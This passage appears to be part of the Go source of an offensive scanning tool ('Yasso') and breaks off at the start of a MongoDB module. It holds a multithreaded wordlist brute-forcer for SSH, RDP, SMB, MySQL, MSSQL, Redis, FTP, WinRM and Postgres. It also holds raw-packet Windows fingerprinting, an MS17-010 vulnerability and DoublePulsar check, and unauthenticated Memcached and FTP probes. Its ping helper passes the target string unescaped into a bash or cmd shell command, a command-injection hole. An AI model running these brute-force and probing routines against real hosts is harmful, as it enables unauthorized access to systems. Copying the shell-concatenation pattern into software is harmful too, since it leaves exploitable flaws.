// 二次筛选 190 | var newBasic []string 191 | for _, ip := range basic { 192 | if strings.Contains(ip, "/") { 193 | newBasic = append(newBasic, strings.Split(ip, "/")[0]) 194 | } else { 195 | newBasic = append(newBasic, ip) 196 | } 197 | } 198 | // 对获取到的ip地址进行排序进行后续操作 199 | sort.Strings(newBasic) 200 | return newBasic, err 201 | } 202 | 203 | // ConvertIpFormatA 不解析192.168.248.1/8格式目前 204 | func ConvertIpFormatA(ip string) ([]string, error) { 205 | var ip4 = net.ParseIP(strings.Split(ip, "/")[0]) 206 | if ip4 == nil { 207 | return []string{}, errors.New("not an ipv4 address") 208 | } 209 | var mark = strings.Split(ip, "/")[1] 210 | var temp []string 211 | var err error 212 | switch mark { 213 | case "24": 214 | var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".") 215 | for i := 0; i <= 255; i++ { 216 | temp = append(temp, ip3+"."+strconv.Itoa(i)) 217 | } 218 | err = nil 219 | case "16": 220 | var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".") 221 | for i := 0; i <= 255; i++ { 222 | for j := 0; j <= 255; j++ { 223 | temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j)) 224 | } 225 | } 226 | err = nil 227 | default: 228 | temp = []string{} 229 | err = errors.New("not currently supported") 230 | } 231 | return temp, err 232 | } 233 | 234 | func ConvertIpFormatB(ip string) ([]string, error) { 235 | var ip4 = strings.Split(ip, "-") 236 | var ipA = net.ParseIP(ip4[0]) 237 | if ip4 == nil { 238 | return []string{}, errors.New("not an ipv4 address") 239 | } 240 | var temp []string 241 | if len(ip4[1]) < 4 { 242 | iprange, err := strconv.Atoi(ip4[1]) 243 | if ipA == nil || iprange > 255 || err != nil { 244 | return []string{}, errors.New("input format is not ccorrect") 245 | } 246 | var splitip = strings.Split(ip4[0], ".") 247 | ip1, err1 := strconv.Atoi(splitip[3]) 248 | ip2, err2 := strconv.Atoi(ip4[1]) 249 | prefixip := strings.Join(splitip[0:3], ".") 250 | if ip1 > ip2 || err1 != nil || err2 != nil { 251 | return []string{}, errors.New("input format is not ccorrect") 252 | } 253 | for i := ip1; i <= ip2; i++ { 254 | temp = append(temp, prefixip+"."+strconv.Itoa(i)) 255 | } 256 | } else { 257 | var splitip1 = strings.Split(ip4[0], ".") 258 | var splitip2 = strings.Split(ip4[1], ".") 259 | if len(splitip1) != 4 || len(splitip2) != 4 { 260 | return []string{}, errors.New("input format is not ccorrect") 261 | } 262 | start, end := [4]int{}, [4]int{} 263 | for i := 0; i < 4; i++ { 264 | ip1, err1 := strconv.Atoi(splitip1[i]) 265 | ip2, err2 := strconv.Atoi(splitip2[i]) 266 | if ip1 > ip2 || err1 != nil || err2 != nil { 267 | return []string{}, errors.New("input format is not ccorrect") 268 | } 269 | start[i], end[i] = ip1, ip2 270 | } 271 | startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] 272 | endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] 273 | for num := startNum; num <= endNum; num++ { 274 | ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff) 275 | temp = append(temp, ip) 276 | } 277 | } 278 | return temp, nil 279 | } 280 | 281 | func ConvertIpFormatAll(ip string) ([]string, error) { 282 | reg := regexp.MustCompile(`[a-zA-Z]+`) 283 | switch { 284 | case strings.Count(ip, "/") == 1: 285 | return ConvertIpFormatA(ip) 286 | case strings.Count(ip, "-") == 1: 287 | return ConvertIpFormatB(ip) 288 | case reg.MatchString(ip): 289 | _, err := net.LookupHost(ip) 290 | if err != nil { 291 | return []string{}, err 292 | } 293 | return []string{ip}, nil 294 | default: 295 | var isip = net.ParseIP(ip) 296 | if isip == nil { 297 | return []string{}, errors.New("input format is not ccorrect") 298 | } 299 | return []string{ip}, nil 300 | } 301 | } 302 | -------------------------------------------------------------------------------- /core/parse/parse_port.go: -------------------------------------------------------------------------------- 1 | package parse 2 | 3 | import ( 4 | "strconv" 5 | "strings" 6 | ) 7 | 8 | // HandlePorts 解析端口格式 9 | func HandlePorts(ports string) ([]int, error) { 10 | var scanPorts []int 11 | slices := strings.Split(ports, ",") 12 | for _, port := range slices { 13 | port = strings.Trim(port, " ") 14 | upper := port 15 | if strings.Contains(port, "-") { 16 | ranges := strings.Split(port, "-") 17 | if len(ranges) < 2 { 18 | continue 19 | } 20 | startPort, _ := strconv.Atoi(ranges[0]) 21 | endPort, _ := strconv.Atoi(ranges[1]) 22 | if startPort < endPort { 23 | port = ranges[0] 24 | upper = ranges[1] 25 | } else { 26 | port = ranges[1] 27 | upper = ranges[0] 28 | } 29 | } 30 | start, _ := strconv.Atoi(port) 31 | end, _ := strconv.Atoi(upper) 32 | for i := start; i <= end; i++ { 33 | scanPorts = append(scanPorts, i) 34 | } 35 | } 36 | scanPorts = RemoveDuplicate(scanPorts) 37 | return scanPorts, nil 38 | } 39 | 40 | func RemoveDuplicate(old []int) []int { 41 | result := make([]int, 0, len(old)) 42 | temp := map[int]struct{}{} 43 | for _, item := range old { 44 | if _, ok := temp[item]; !ok { 45 | temp[item] = struct{}{} 46 | result = append(result, item) 47 | } 48 | } 49 | return result 50 | } 51 | -------------------------------------------------------------------------------- /core/plugin/brute.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/config/banner" 6 | "Yasso/core/brute" 7 | "Yasso/core/logger" 8 | "Yasso/core/parse" 9 | "fmt" 10 | "strconv" 11 | "strings" 12 | "sync" 13 | "time" 14 | ) 15 | 16 | var BurpMap = map[string]interface{}{ 17 | "ssh": SshConnByUser, 18 | "mongodb": MongoAuth, 19 | "mysql": MySQLConn, 20 | "mssql": MssqlConn, 21 | "rdp": RdpConn, 22 | "redis": RedisAuthConn, 23 | "ftp": FtpConn, 24 | "smb": SmbConn, 25 | "winrm": WinRMAuth, 26 | "postgres": PostgreConn, 27 | } 28 | 29 | func BruteService(user, pass string, ipd string, module string, thread int, timeout time.Duration, isAlive bool) { 30 | banner.Banner() 31 | defer func() { 32 | logger.Info("brute service complete") 33 | }() 34 | // 先解析传过来的ips列表 35 | if ipd == "" { 36 | logger.Fatal("need ips to parse") 37 | return 38 | } 39 | ips, err := parse.HandleIps(ipd) 40 | if err != nil { 41 | return 42 | } 43 | var userDic, passDic []string 44 | if user != "" { 45 | userDic, err = parse.ReadFile(user) 46 | } 47 | if pass != "" { 48 | passDic, err = parse.ReadFile(pass) 49 | } 50 | if err != nil { 51 | logger.Fatal("dic file is not found") 52 | return 53 | } 54 | var wg sync.WaitGroup 55 | var ipChannel = make(chan string, 1000) 56 | var ipAlive []string 57 | if isAlive == true { 58 | for i := 0; i < thread; i++ { 59 | wg.Add(1) 60 | go func() { 61 | defer wg.Done() 62 | for ip := range ipChannel { 63 | if ping(ip) == true { 64 | logger.Info(fmt.Sprintf("%v is alive (ping)", ip)) 65 | ipAlive = append(ipAlive, ip) 66 | } 67 | } 68 | }() 69 | } 70 | for _, ip := range ips { 71 | // 带有端口的不进行扫描,直接加入 72 | if strings.Contains(ip, ":") { 73 | ipAlive = append(ipAlive, ip) 74 | continue 75 | } else { 76 | ipChannel <- ip 77 | } 78 | } 79 | close(ipChannel) // 防止死锁 80 | wg.Wait() 81 | } else { 82 | ipAlive = ips 83 | } 84 | 85 | logger.Info(fmt.Sprintf("start brute service %v", strings.Split(module, ","))) 86 | // 这里获取到了ip列表,格式各种各样 www.baidu.com:80 192.168.248.1 192.168.248.1:445 87 | for _, each := range strings.Split(module, ",") { // 遍历每一个服务 88 | // 这里获取到对应的服务和端口 89 | service := strings.Split(each, ":") 90 | if len(service) >= 3 || len(service) <= 0 { 91 | logger.Fatal("brute service format is error") 92 | break 93 | } 94 | switch service[0] { 95 | case "ssh": 96 | var p int 97 | if len(service) == 2 { 98 | // 带端口,采用用户自带端口 99 | p, err = strconv.Atoi(service[1]) 100 | } else { 101 | // 不带端口,采用默认 102 | p = 22 103 | } 104 | if err != nil { 105 | logger.Fatal("port number useless") 106 | break 107 | } 108 | run(ipAlive, p, userDic, passDic, timeout, thread, "ssh", BurpMap["ssh"]) 109 | case "mongo": 110 | var p int 111 | if len(service) == 2 { 112 | // 带端口,采用用户自带端口 113 | p, err = strconv.Atoi(service[1]) 114 | } else { 115 | // 不带端口,采用默认 116 | p = 27017 117 | } 118 | if err != nil { 119 | logger.Fatal("port number useless") 120 | break 121 | } 122 | run(ipAlive, p, userDic, passDic, timeout, thread, "mongodb", BurpMap["mongodb"]) 123 | case "mysql": 124 | var p int 125 | if len(service) == 2 { 126 | // 带端口,采用用户自带端口 127 | p, err = strconv.Atoi(service[1]) 128 | } else { 129 | // 不带端口,采用默认 130 | p = 3306 131 | } 132 | if err != nil { 133 | logger.Fatal("port number useless") 134 | break 135 | } 136 | run(ipAlive, p, userDic, passDic, timeout, thread, "mysql", BurpMap["mysql"]) 137 | case "rdp": 138 | var p int 139 | if len(service) == 2 { 140 | // 带端口,采用用户自带端口 141 | p, err = strconv.Atoi(service[1]) 142 | } else { 143 | // 不带端口,采用默认 144 | p = 3389 145 | } 146 | if err != nil { 147 | logger.Fatal("port number useless") 148 | break 149 | } 150 | run(ipAlive, p, userDic, passDic, timeout, thread, "rdp", BurpMap["rdp"]) 151 | case "redis": 152 | var p int 153 | if len(service) == 2 { 154 | // 带端口,采用用户自带端口 155 | p, err = strconv.Atoi(service[1]) 156 | } else { 157 | // 不带端口,采用默认 158 | p = 6379 159 | } 160 | if err != nil { 161 | logger.Fatal("port number useless") 162 | break 163 | } 164 | run(ipAlive, p, userDic, passDic, timeout, thread, "redis", BurpMap["redis"]) 165 | case "smb": 166 | var p int 167 | if len(service) == 2 { 168 | // 带端口,采用用户自带端口 169 | p, err = strconv.Atoi(service[1]) 170 | } else { 171 | // 不带端口,采用默认 172 | p = 445 173 | } 174 | if err != nil { 175 | logger.Fatal("port number useless") 176 | break 177 | } 178 | run(ipAlive, p, userDic, passDic, timeout, thread, "smb", BurpMap["smb"]) 179 | case "winrm": 180 | var p int 181 | if len(service) == 2 { 182 | // 带端口,采用用户自带端口 183 | p, err = strconv.Atoi(service[1]) 184 | } else { 185 | // 不带端口,采用默认 186 | p = 5985 187 | } 188 | if err != nil { 189 | logger.Fatal("port number useless") 190 | break 191 | } 192 | run(ipAlive, p, userDic, passDic, timeout, thread, "winrm", BurpMap["winrm"]) 193 | case "postgres": 194 | var p int 195 | if len(service) == 2 { 196 | // 带端口,采用用户自带端口 197 | p, err = strconv.Atoi(service[1]) 198 | } else { 199 | // 不带端口,采用默认 200 | p = 5432 201 | } 202 | if err != nil { 203 | logger.Fatal("port number useless") 204 | break 205 | } 206 | run(ipAlive, p, userDic, passDic, timeout, thread, "postgres", BurpMap["postgres"]) 207 | case "mssql": 208 | var p int 209 | if len(service) == 2 { 210 | // 带端口,采用用户自带端口 211 | p, err = strconv.Atoi(service[1]) 212 | } else { 213 | // 不带端口,采用默认 214 | p = 1433 215 | } 216 | if err != nil { 217 | logger.Fatal("port number useless") 218 | break 219 | } 220 | run(ipAlive, p, userDic, passDic, timeout, thread, "mssql", BurpMap["mssql"]) 221 | case "ftp": 222 | var p int 223 | if len(service) == 2 { 224 | // 带端口,采用用户自带端口 225 | p, err = strconv.Atoi(service[1]) 226 | } else { 227 | // 不带端口,采用默认 228 | p = 21 229 | } 230 | if err != nil { 231 | logger.Fatal("port number useless") 232 | break 233 | } 234 | run(ipAlive, p, userDic, passDic, timeout, thread, "ftp", BurpMap["ftp"]) 235 | default: 236 | logger.Fatal(fmt.Sprintf("not found service %s", service[0])) 237 | return 238 | } 239 | } 240 | 241 | } 242 | 243 | // 执行爆破的函数 244 | func run(ips []string, port int, user, pass []string, timeout time.Duration, thread int, service string, method interface{}) { 245 | var ipChannel = make(chan string, 1000) // 二次复用 246 | var mutex sync.Mutex 247 | var wg sync.WaitGroup 248 | for i := 0; i < thread; i++ { 249 | wg.Add(1) 250 | go func() { 251 | defer wg.Done() 252 | for ip := range ipChannel { 253 | // 这里获取到每一个ip 254 | mutex.Lock() 255 | brute.NewBrute(user, pass, method, service, config.ServiceConn{ 256 | Hostname: ip, 257 | Port: port, 258 | Timeout: time.Duration(timeout), 259 | }, thread, false, "").RunEnumeration() 260 | mutex.Unlock() 261 | } 262 | }() 263 | } 264 | for _, ip := range ips { 265 | // 带有端口的不进行扫描,直接直接跳过 266 | if strings.Count(ip, ":") == 1 { 267 | if strings.Split(ip, ":")[1] == strconv.Itoa(port) { // 带端口,且端口和需要爆破的端口号相同 268 | ipChannel <- strings.Split(ip, ":")[0] 269 | } else { 270 | continue 271 | } 272 | } else { 273 | ipChannel <- ip 274 | } 275 | } 276 | close(ipChannel) // 防止死锁 277 | wg.Wait() 278 | } 279 | -------------------------------------------------------------------------------- /core/plugin/dcerpc.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/core/logger" 5 | "bytes" 6 | "encoding/binary" 7 | "fmt" 8 | "net" 9 | "time" 10 | ) 11 | 12 | const v1 = "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00\x00\x00\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36\x01\x00\x00\x00" 13 | 14 | const dce = "\x05\x00\x0b\x03\x10\x00\x00\x00\x78\x00\x28\x00\x03\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00\x0a\x02\x00\x00\x00\x00\x00\x00\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x01\xb1\x1d\x00\x00\x00\x0f" 15 | 16 | var length = 0 17 | 18 | func DceRpcOSVersion(ip string, port int, timeout time.Duration) (bool, string) { 19 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), timeout) 20 | if err != nil { 21 | return false, "" 22 | } 23 | _, err = conn.Write([]byte(dce)) 24 | if err != nil { 25 | return false, "" 26 | } 27 | var buffer = make([]byte, 4096) 28 | _, err = conn.Read(buffer) 29 | if err != nil { 30 | return false, "" 31 | } 32 | digit := osDigits(ip) // 获取位数 33 | osVersionBytes := buffer[int(0xa0)-54+10 : int(0xa0)-54+18] 34 | majorVersion := osVersionBytes[0:1] // 主要版本 35 | MinorVersion := osVersionBytes[1:2] // 次要版本 36 | BuildNumber := osVersionBytes[2:4] // 构建号 37 | osVersion := fmt.Sprintf("Windows Verison %d.%d Build %v %v", majorVersion[0], MinorVersion[0], binary.LittleEndian.Uint16(BuildNumber), digit) 38 | 39 | //infoLengthBytes := buffer[int(0xa0)-54+2 : int(0xa0)-54+4] 40 | //infoLength := int(binary.LittleEndian.Uint16(infoLengthBytes)) 41 | //infoBytes := buffer[n-infoLength : n-4] 42 | //netBoisDomainName := attribute(infoBytes) 43 | //dnsDomainName := attribute(infoBytes) 44 | //dnsComputerName := attribute(infoBytes) 45 | //dnsTreeName := attribute(infoBytes) 46 | logger.Success(fmt.Sprintf("%v:%v %v", ip, port, osVersion)) 47 | //logger.Info(fmt.Sprintf("NetBios (%v) DomainName (%v) ComputerName (%v)", netBoisDomainName, dnsDomainName, dnsComputerName)) 48 | return true, osVersion 49 | } 50 | 51 | func osDigits(ip string) string { 52 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, 135), time.Second*5) 53 | if err != nil { 54 | return "" 55 | } 56 | conn.Write([]byte(v1)) 57 | var buffer = make([]byte, 1024) 58 | conn.Read(buffer) 59 | var digits = "x86" 60 | if bytes.Contains(buffer, []byte("\x33\x05\x71\x71\xBA\xBE\x37\x49\x83\x19\xB5\xDB\xEF\x9C\xCC\x36")) { 61 | digits = "x64" 62 | } 63 | return digits 64 | } 65 | 66 | func attribute(info []byte) string { 67 | nameLength := int(binary.LittleEndian.Uint16(info[length+2 : length+4])) 68 | name := bytes.Replace(info[length+4:length+4+nameLength], []byte("\x00"), []byte(""), -1) 69 | length = length + 4 + nameLength 70 | return string(name) 71 | } 72 | -------------------------------------------------------------------------------- /core/plugin/eternalblue.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "encoding/binary" 7 | "encoding/hex" 8 | "fmt" 9 | "net" 10 | "strings" 11 | "time" 12 | ) 13 | 14 | //TODO:MS17010 15 | 16 | var ( 17 | negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200") 18 | sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000") 19 | treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00") 20 | transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00") 21 | trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000") 22 | ) 23 | 24 | func Ms17010Conn(info config.ServiceConn) bool { 25 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) 26 | if err != nil { 27 | return false 28 | } 29 | status, err := RequestMs17010(conn, info.Hostname) 30 | if err != nil { 31 | return false 32 | } 33 | if status == true { 34 | return true 35 | } 36 | return false 37 | } 38 | 39 | func RequestMs17010(conn net.Conn, ip string) (bool, error) { 40 | defer conn.Close() 41 | err := conn.SetDeadline(time.Now().Add(500 * time.Millisecond)) 42 | if err != nil { 43 | return false, err 44 | } 45 | _, err = conn.Write(negotiateProtocolRequest) 46 | if err != nil { 47 | return false, err 48 | } 49 | reply := make([]byte, 1024) 50 | if n, err := conn.Read(reply); err != nil || n < 36 { 51 | return false, err 52 | } 53 | if binary.LittleEndian.Uint32(reply[9:13]) != 0 { 54 | return false, err 55 | } 56 | _, err = conn.Write(sessionSetupRequest) 57 | if err != nil { 58 | return false, err 59 | } 60 | n, err := conn.Read(reply) 61 | if err != nil || n < 36 { 62 | return false, err 63 | } 64 | if binary.LittleEndian.Uint32(reply[9:13]) != 0 { 65 | // status != 0 66 | //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip) 67 | return false, fmt.Errorf("can't determine whether %s is vulnerable or not\n", ip) 68 | } 69 | 70 | // extract OS info 71 | var os string 72 | sessionSetupResponse := reply[36:n] 73 | if wordCount := sessionSetupResponse[0]; wordCount != 0 { 74 | // find byte count 75 | byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) 76 | if n != int(byteCount)+45 { 77 | logger.Fatal("invalid session setup AndX response") 78 | } else { 79 | // two continous null bytes indicates end of a unicode string 80 | for i := 10; i < len(sessionSetupResponse)-1; i++ { 81 | if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { 82 | os = string(sessionSetupResponse[10:i]) 83 | os = strings.Replace(os, string([]byte{0x00}), "", -1) 84 | break 85 | } 86 | } 87 | } 88 | 89 | } 90 | userID := reply[32:34] 91 | treeConnectRequest[32] = userID[0] 92 | treeConnectRequest[33] = userID[1] 93 | // TODO change the ip in tree path though it doesn't matter 94 | _, err = conn.Write(treeConnectRequest) 95 | if err != nil { 96 | return false, err 97 | } 98 | 99 | if n, err := conn.Read(reply); err != nil || n < 36 { 100 | return false, err 101 | } 102 | 103 | treeID := reply[28:30] 104 | transNamedPipeRequest[28] = treeID[0] 105 | transNamedPipeRequest[29] = treeID[1] 106 | transNamedPipeRequest[32] = userID[0] 107 | transNamedPipeRequest[33] = userID[1] 108 | 109 | conn.Write(transNamedPipeRequest) 110 | if n, err := conn.Read(reply); err != nil || n < 36 { 111 | return false, err 112 | } 113 | 114 | if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { 115 | 116 | logger.Info(fmt.Sprintf("%v Find MS17010 (%s)", ip, os)) 117 | trans2SessionSetupRequest[28] = treeID[0] 118 | trans2SessionSetupRequest[29] = treeID[1] 119 | trans2SessionSetupRequest[32] = userID[0] 120 | trans2SessionSetupRequest[33] = userID[1] 121 | 122 | conn.Write(trans2SessionSetupRequest) 123 | 124 | if n, err := conn.Read(reply); err != nil || n < 36 { 125 | return false, err 126 | } 127 | 128 | if reply[34] == 0x51 { 129 | fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip) 130 | } 131 | return true, nil 132 | } else { 133 | fmt.Printf("%s\t \t(%s)\n", ip, os) 134 | } 135 | return false, nil 136 | } 137 | -------------------------------------------------------------------------------- /core/plugin/ftp.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "fmt" 7 | "github.com/jlaffaye/ftp" 8 | "net" 9 | "time" 10 | ) 11 | 12 | func FtpConn(info config.ServiceConn, user, pass string) (bool, error) { 13 | var flag = false 14 | c, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout)) 15 | 16 | conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Hostname, info.Port), ftp.DialWithNetConn(c)) 17 | if err == nil { 18 | err = conn.Login(user, pass) 19 | if err == nil { 20 | if pass == "" { 21 | logger.Success(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port))) 22 | } 23 | flag = true 24 | } 25 | } 26 | return flag, err 27 | } 28 | -------------------------------------------------------------------------------- /core/plugin/grdp.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "Yasso/pkg/grdp" 7 | "Yasso/pkg/grdp/glog" 8 | "bytes" 9 | "encoding/hex" 10 | "fmt" 11 | "net" 12 | ) 13 | 14 | func RdpConn(info config.ServiceConn, user, pass string) (bool, error) { 15 | var err error 16 | var host = fmt.Sprintf("%v:%v", info.Hostname, info.Port) 17 | g := grdp.NewClient(host, glog.NONE) 18 | //SSL协议登录测试 19 | err = g.LoginForSSL(info.Domain, user, pass) 20 | if err == nil { 21 | return true, nil 22 | } 23 | if err.Error() != "PROTOCOL_RDP" { 24 | return false, err 25 | } 26 | //RDP协议登录测试 27 | err = g.LoginForRDP(info.Domain, user, pass) 28 | if err == nil { 29 | return true, nil 30 | } else { 31 | return false, nil 32 | } 33 | } 34 | 35 | func VersionRdp(info config.ServiceConn, user, pass string) (bool, string) { 36 | conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout) 37 | if err != nil { 38 | return false, "" 39 | } 40 | msg := "\x03\x00\x00\x2b\x26\xe0\x00\x00\x00\x00\x00\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d\x75\x73\x65\x72\x30\x0d\x0a\x01\x00\x08\x00\x00\x00\x00\x00" 41 | _, err = conn.Write([]byte(msg)) 42 | if err != nil { 43 | return false, "" 44 | } 45 | reply := make([]byte, 256) 46 | _, _ = conn.Read(reply) 47 | if conn != nil { 48 | _ = conn.Close() 49 | } 50 | 51 | var buffer [256]byte 52 | if bytes.Equal(reply[:], buffer[:]) { 53 | return false, "" 54 | } else if hex.EncodeToString(reply[0:8]) != "030000130ed00000" { 55 | return false, "" 56 | } 57 | 58 | os := map[string]string{} 59 | os["030000130ed000001234000209080000000000"] = "Windows 7/Windows Server 2008 R2" 60 | os["030000130ed000001234000200080000000000"] = "Windows 7/Windows Server 2008" 61 | os["030000130ed000001234000201080000000000"] = "Windows Server 2008 R2" 62 | os["030000130ed000001234000207080000000000"] = "Windows 8/Windows server 2012" 63 | os["030000130ed00000123400020f080000000000"] = "Windows 8.1/Windows Server 2012 R2" 64 | os["030000130ed000001234000300080001000000"] = "Windows 10/Windows Server 2016" 65 | os["030000130ed000001234000300080005000000"] = "Windows 10/Windows 11/Windows Server 2019" 66 | var banner string 67 | for k, v := range os { 68 | if k == hex.EncodeToString(reply[0:19]) { 69 | banner = v 70 | logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)) 71 | return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner) 72 | } 73 | } 74 | banner = hex.EncodeToString(reply[0:19]) 75 | _ = reply 76 | logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)) 77 | return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner) 78 | } 79 | -------------------------------------------------------------------------------- /core/plugin/icmp.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "bytes" 5 | "net" 6 | "os/exec" 7 | "runtime" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | func ping(ip string) bool { 13 | var cmd *exec.Cmd 14 | switch runtime.GOOS { 15 | case "windows": 16 | cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") 17 | case "linux": 18 | cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" >/dev/null && echo true || echo false") 19 | case "darwin": 20 | cmd = exec.Command("/bin/bash", "-c", "ping -c 1 "+ip+" >/dev/null && echo true || echo false") 21 | default: 22 | cmd = exec.Command("/bin/bash", "-c", "ping -c 1"+ip+" >/dev/null && echo true || echo false") 23 | } 24 | info := bytes.Buffer{} 25 | cmd.Stdout = &info 26 | err := cmd.Start() 27 | if err != nil { 28 | return false 29 | } 30 | if err = cmd.Wait(); err != nil { 31 | return false 32 | } else { 33 | if strings.Contains(info.String(), "true") { 34 | return true 35 | } else { 36 | return false 37 | } 38 | } 39 | } 40 | 41 | func icmp(host string) bool { 42 | conn, err := net.DialTimeout("ip4:icmp", host, 1*time.Second) 43 | if err != nil { 44 | return false 45 | } 46 | defer func() { 47 | _ = conn.Close() 48 | }() 49 | if err := conn.SetDeadline(time.Now().Add(1 * time.Second)); err != nil { 50 | return false 51 | } 52 | msg := packet(host) 53 | if _, err := conn.Write(msg); err != nil { 54 | return false 55 | } 56 | var receive = make([]byte, 60) 57 | if _, err := conn.Read(receive); err != nil { 58 | return false 59 | } 60 | return true 61 | } 62 | 63 | func packet(host string) []byte { 64 | var msg = make([]byte, 40) 65 | msg[0] = 8 66 | msg[1] = 0 67 | msg[2] = 0 68 | msg[3] = 0 69 | msg[4], msg[5] = host[0], host[1] 70 | msg[6], msg[7] = byte(1>>8), byte(1&255) 71 | msg[2] = byte(checksum(msg[0:40]) >> 8) 72 | msg[3] = byte(checksum(msg[0:40]) & 255) 73 | return msg 74 | } 75 | 76 | func checksum(msg []byte) uint16 { 77 | var sum = 0 78 | var length = len(msg) 79 | for i := 0; i < length-1; i += 2 { 80 | sum += int(msg[i])*256 + int(msg[i+1]) 81 | } 82 | if length%2 == 1 { 83 | sum += int(msg[length-1]) * 256 84 | } 85 | sum = (sum >> 16) + (sum & 0xffff) 86 | sum = sum + (sum >> 16) 87 | return uint16(^sum) 88 | } 89 | -------------------------------------------------------------------------------- /core/plugin/memcache.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "bytes" 7 | "fmt" 8 | "net" 9 | "time" 10 | ) 11 | 12 | func MemcacheConn(info config.ServiceConn, user, pass string) (bool, error) { 13 | client, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout) 14 | if err != nil { 15 | return false, err 16 | } 17 | defer func() { 18 | if client != nil { 19 | client.Close() 20 | } 21 | }() 22 | if err == nil { 23 | err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout))) 24 | if err == nil { 25 | _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten 26 | if err == nil { 27 | reply := make([]byte, 1024) 28 | n, err := client.Read(reply) 29 | if err == nil { 30 | if bytes.Contains(reply[:n], []byte("STAT")) { 31 | logger.Success(fmt.Sprintf("Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Hostname, info.Port))) 32 | return true, nil 33 | } 34 | } 35 | } 36 | } 37 | } 38 | return false, err 39 | } 40 | -------------------------------------------------------------------------------- /core/plugin/mongo.go: -------------------------------------------------------------------------------- 1 | package plugin 2 | 3 | import ( 4 | "Yasso/config" 5 | "Yasso/core/logger" 6 | "fmt" 7 | "gopkg.in/mgo.v2" 8 | "net" 9 